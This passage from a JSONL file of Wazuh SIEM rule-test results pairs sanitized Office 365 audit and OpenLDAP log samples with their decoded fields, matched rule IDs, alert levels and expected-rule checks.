"office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91708", "level": "6", "expected_decoder": "json", "expected_rule": "91708", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SendOnBehalf"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Add user.\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Add user.", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91709", "level": "6", "expected_decoder": "json", "expected_rule": "91709", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Add user"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Update user.\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Update user.", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91710", "level": "6", "expected_decoder": "json", "expected_rule": "91710", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Update user"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Add member to role.\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Add member to role.", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91711", "level": "6", "expected_decoder": "json", "expected_rule": "91711", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Add member to role"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Add group.\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Add group.", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91712", "level": "6", "expected_decoder": "json", "expected_rule": "91712", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Add group"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Add member to group.\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Add member to group.", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91713", "level": "6", "expected_decoder": "json", "expected_rule": "91713", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Add member to group"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Add service principal credentials.\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Add service principal credentials.", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91714", "level": "6", "expected_decoder": "json", "expected_rule": "91714", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 Add service principal credentials"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"CaseAdminUpdated\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "CaseAdminUpdated", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91715", "level": "6", "expected_decoder": "json", "expected_rule": "91715", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 CaseAdminUpdated"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"CaseAdminAdded\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "CaseAdminAdded", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91716", "level": "6", "expected_decoder": "json", "expected_rule": "91716", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 CaseAdminAdded"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"CaseAdded\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "CaseAdded", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91717", "level": "6", "expected_decoder": "json", "expected_rule": "91717", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 CaseAdded"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"SearchCreated\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "SearchCreated", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91718", "level": "6", "expected_decoder": "json", "expected_rule": "91718", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 SearchCreated"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"QuarantineDelete\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "QuarantineDelete", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91719", "level": "4", "expected_decoder": "json", "expected_rule": "91719", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 QuarantineDelete"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"QuarantineExport\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "QuarantineExport", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91720", "level": "12", "expected_decoder": "json", "expected_rule": "91720", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 QuarantineExport"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"QuarantinePreview\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "QuarantinePreview", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91721", "level": "6", "expected_decoder": "json", "expected_rule": "91721", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 QuarantinePreview"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"QuarantineRelease\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "QuarantineRelease", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91722", "level": "12", "expected_decoder": "json", "expected_rule": "91722", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 QuarantineRelease"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"QuarantineViewHeader\",\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "QuarantineViewHeader", "office365.OrganizationId": "sanitized", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91723", "level": "6", "expected_decoder": "json", "expected_rule": "91723", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 QuarantineViewHeader"} +{"log": "{\"integration\":\"office365\",\"office365\":{\"ObjectId\":\"sanitized\",\"UserKey\":\"sanitized\",\"ActorIpAddress\":\"sanitized\",\"OrganizationId\":\"sanitized\",\"ClientIP\":\"sanitized\",\"Workload\":\"Generic\",\"Operation\":\"Add-MailboxPermission\",\"Parameters\":[{\"Name\":\"DomainController\",\"Value\":\"\"},{\"Name\":\"Identity\",\"Value\":\"EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}\"},{\"Name\":\"User\",\"Value\":\"EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Discovery Management\"},{\"Name\":\"AccessRights\",\"Value\":\"FullAccess\"}],\"IntraSystemId\":\"sanitized\",\"RecordType\":\"0\",\"UserId\":\"wazuh@wazuh.com\",\"CreationTime\":\"2020-03-19T16:48:02\",\"Id\":\"sanitized\",\"InterSystemsId\":\"sanitized\",\"ApplicationId\":\"sanitized\",\"ActorContextId\":\"sanitized\"}}", "decoder": "json", "parent": "", "fields": {"integration": "office365", "office365.ActorContextId": "sanitized", "office365.ActorIpAddress": "sanitized", "office365.ApplicationId": "sanitized", "office365.ClientIP": "sanitized", "office365.CreationTime": "2020-03-19T16:48:02", "office365.Id": "sanitized", "office365.InterSystemsId": "sanitized", "office365.IntraSystemId": "sanitized", "office365.ObjectId": "sanitized", "office365.Operation": "Add-MailboxPermission", "office365.OrganizationId": "sanitized", "office365.Parameters": "[{'Name': 'DomainController', 'Value': ''}, {'Name': 'Identity', 'Value': 'EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}'}, {'Name': 'User', 'Value': 'EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Discovery Management'}, {'Name': 'AccessRights', 'Value': 'FullAccess'}]", "office365.RecordType": "0", "office365.UserId": "wazuh@wazuh.com", "office365.UserKey": "sanitized", "office365.Workload": "Generic"}, "field_names": ["integration", "office365.ActorContextId", "office365.ActorIpAddress", "office365.ApplicationId", "office365.ClientIP", "office365.CreationTime", "office365.Id", "office365.InterSystemsId", "office365.IntraSystemId", "office365.ObjectId", "office365.Operation", "office365.OrganizationId", "office365.Parameters", "office365.RecordType", "office365.UserId", "office365.UserKey", "office365.Workload"], "rule": "91725", "level": "10", "expected_decoder": "json", "expected_rule": "91725", "rule_matches_expected": true, "ini_file": "office365.ini", "section": "Office 365 FullAccessRight Exchange"} +{"log": "Jan 11 09:26:57 hostname slapd[20872]: conn=999999 op=0 BIND dn=\"uid=example,ou=People,dc=example,dc=com\" method=128", "decoder": "openldap", "parent": "openldap", "fields": {"accumulate": "1", "dstuser": "example", "id": "999999"}, "field_names": ["accumulate", "dstuser", "id"], "rule": "2507", "level": "0", "expected_decoder": "openldap", "expected_rule": "2507", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: generic"} +{"log": "Jan 11 09:26:57 hostname slapd[20872]: conn=999999 op=0 RESULT tag=97 err=49 text=", "decoder": "openldap", "parent": "openldap", "fields": {"accumulate": "1", "dstuser": "example", "id": "999999"}, "field_names": ["accumulate", "dstuser", "id"], "rule": "2507", "level": "0", "expected_decoder": "openldap", "expected_rule": "2507", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: generic"} +{"log": "Jan 11 09:26:57 hostname slapd[20872]: conn=999999 op=1 BIND dn=\"uid=example,ou=People,dc=example,dc=com\" method=128", "decoder": "openldap", "parent": "openldap", "fields": {"accumulate": "1", "dstuser": "example", "id": "999999"}, "field_names": ["accumulate", "dstuser", "id"], "rule": "2507", "level": "0", "expected_decoder": "openldap", "expected_rule": "2507", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: generic"} +{"log": "Jan 11 09:26:57 hostname slapd[20872]: conn=999999 op=1 RESULT tag=97 err=0 text=", "decoder": "openldap", "parent": "openldap", "fields": {"accumulate": "1", "dstuser": "example", "id": "999999"}, "field_names": ["accumulate", "dstuser", "id"], "rule": "2507", "level": "0", "expected_decoder": "openldap", "expected_rule": "2507", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: generic"} +{"log": "Jan 11 09:26:57 hostname slapd[20872]: conn=999999 op=2 UNBIND", "decoder": "openldap", "parent": "", "fields": {"accumulate": "1"}, "field_names": ["accumulate"], "rule": "2507", "level": "0", "expected_decoder": "openldap", "expected_rule": "2507", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: generic"} +{"log": "Jan 11 09:26:57 hostname slapd[20872]: conn=999999 fd=64", "decoder": "openldap", "parent": "", "fields": {"accumulate": "1"}, "field_names": ["accumulate"], "rule": "2507", "level": "0", "expected_decoder": "openldap", "expected_rule": "2507", "rule_matches_expected": true, "ini_file": "openldap.ini", "section": "OpenLDAP: generic"} +{"log": "Jan 11 09:26:57 hostname slapd[20872]: conn=999999 fd=64 ACCEPT from IP=10.10.248.27:33957 (IP=10.10.241.77:389)", "decoder": "openldap", 